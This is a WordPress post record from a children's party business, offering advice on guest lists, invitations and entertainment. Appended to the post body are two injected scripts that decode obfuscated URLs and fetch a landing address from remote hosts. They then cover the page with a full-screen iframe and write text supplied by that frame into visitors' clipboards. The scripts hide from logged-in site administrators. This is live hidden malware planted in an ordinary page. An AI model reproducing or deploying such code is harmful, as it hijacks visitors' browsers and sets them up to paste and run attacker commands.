{"id":489,"date":"2018-04-26T10:38:42","date_gmt":"2018-04-26T10:38:42","guid":{"rendered":"http:\/\/aaparty.co.za\/?p=489"},"modified":"2026-05-22T18:40:21","modified_gmt":"2026-05-22T18:40:21","slug":"fun-parties-for-kids","status":"publish","type":"post","link":"https:\/\/aaparty.co.za\/index.php\/2018\/04\/26\/fun-parties-for-kids\/","title":{"rendered":"Fun Parties For Kids"},"content":{"rendered":"<h1>Fun Parties For Kids<\/h1>\n<p>Fun Parties For Kids are our specialty. There are a number of elements in a party that need to be present in order to have fun parties for kids. These are: other kids, an exciting theme, <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">quality entertainment<\/a>, good party food and catering, safety and enthusiasm.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-491\" src=\"http:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-300x200.jpg\" alt=\"Fun Parties For Kids\" width=\"300\" height=\"200\" srcset=\"https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-300x200.jpg 300w, https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-350x234.jpg 350w, https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-768x512.jpg 768w, https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-1024x683.jpg 1024w, https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-600x400.jpg 600w, https:\/\/aaparty.co.za\/wp-content\/uploads\/ngg_featured\/Fun-Kids-Party-Ideas-240x160.jpg 240w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2>Other Kids<\/h2>\n<p>All parties start before the big day actually arrives and tireless planning goes into the day. Usually by mom and involving input from the birthday boy or girl. The people you have at the party are the most important element of the party. The list of invitees usually starts with all the children in the birthday boy or girls class at school, then extended to family and then friends from other areas of the child&#8217;s life. The first step is to decide how many people you would like to have at a party. When children are younger they intend to invite the whole class and all family and friends because the nature of younger kids dictates that their best friend on a particular day may not be their best friend tomorrow&#8230; As children get older and develop a sense of who their friends are you may wish to consider having a smaller party with fewer children and giving them a different party experience. This all depends on your child and how they feel about their birthday party. The way to get people to your party is by way of an invitation.&nbsp;<\/p>\n<h2>Invitations<\/h2>\n<p>There are quite a few options for invitations these days if you are looking for unique ways to invite children to&nbsp;<a href=\"http:\/\/aaparty.co.za\/index.php\/2018\/05\/04\/kids-parties-johannesburg\/\">kids parties in Johannesburg<\/a>. You can purchase an invitation pad from a party shop or stationary shop. Alternatively, you can use a graphics program like Photoshop or even Microsoft Word. Print it yourself depending on your design skills and budget.&nbsp;<\/p>\n<h2>Online Invitations<\/h2>\n<p>There are also a wide range of free and paid for online design websites. These&nbsp;make it very quick and easy to design and create digital invitations for fun parties for kids.&nbsp;<\/p>\n<p>Here are a couple of links to sites that we recommend for making digital invitations.&nbsp;<\/p>\n<p><a href=\"http:\/\/www.paperlesspost.com\">www.paperlesspost.com<\/a>&nbsp;has a really&nbsp;nice and simple invitation management system that allows you to create free invitations that you can send via SMS, email or Whatsapp and manage your RSVP&#8217;s&nbsp;&nbsp;<\/p>\n<p><a href=\"http:\/\/www.evite.com\">Evite<\/a>&nbsp;allows you to create invitations and also manage your RSVP&#8217;s electronically. Below is an example of an invitation from Evite.com<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-495\" src=\"http:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-300x92.png\" alt=\"Fun Parties For Kids Invitation Example\" width=\"300\" height=\"92\" srcset=\"https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-300x92.png 300w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-350x107.png 350w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-768x235.png 768w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-1024x314.png 1024w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-600x184.png 600w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_-280x86.png 280w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/04\/Birthday-Party-Invitation-Evite.com_.png 1126w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>Quality Entertainment<\/h2>\n<p><a href=\"http:\/\/aaparty.co.za\/index.php\/2018\/05\/15\/activities-for-birthday-parties\/\">Activities for Birthday Parties<\/a>&nbsp;are wide and varied, <a href=\"http:\/\/aaparty.co.za\/index.php\/contact\/\">contact us<\/a>&nbsp;for advice on which activity&nbsp;will suit your child best or have a look at our range of <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">themed action parties<\/a>.&nbsp;&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fun Parties For Kids Fun Parties For Kids are our specialty. There are a number of elements in a party that need to be present in order to have fun parties for kids. These are: other kids, an exciting theme, quality entertainment, good party food and catering, safety and enthusiasm. Other Kids All parties start &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/aaparty.co.za\/index.php\/2018\/04\/26\/fun-parties-for-kids\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Fun Parties For Kids&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"ngg_post_thumbnail":0,"footnotes":""},"categories":[41],"tags":[],"class_list":["post-489","post","type-post","status-publish","format-standard","hentry","category-fun-parties-for-kids"],"_links":{"self":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/489","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/comments?post=489"}],"version-history":[{"count":14,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/489\/revisions"}],"predecessor-version":[{"id":16294,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/489\/revisions\/16294"}],"wp:attachment":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media?parent=489"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/categories?post=489"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/tags?post=489"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}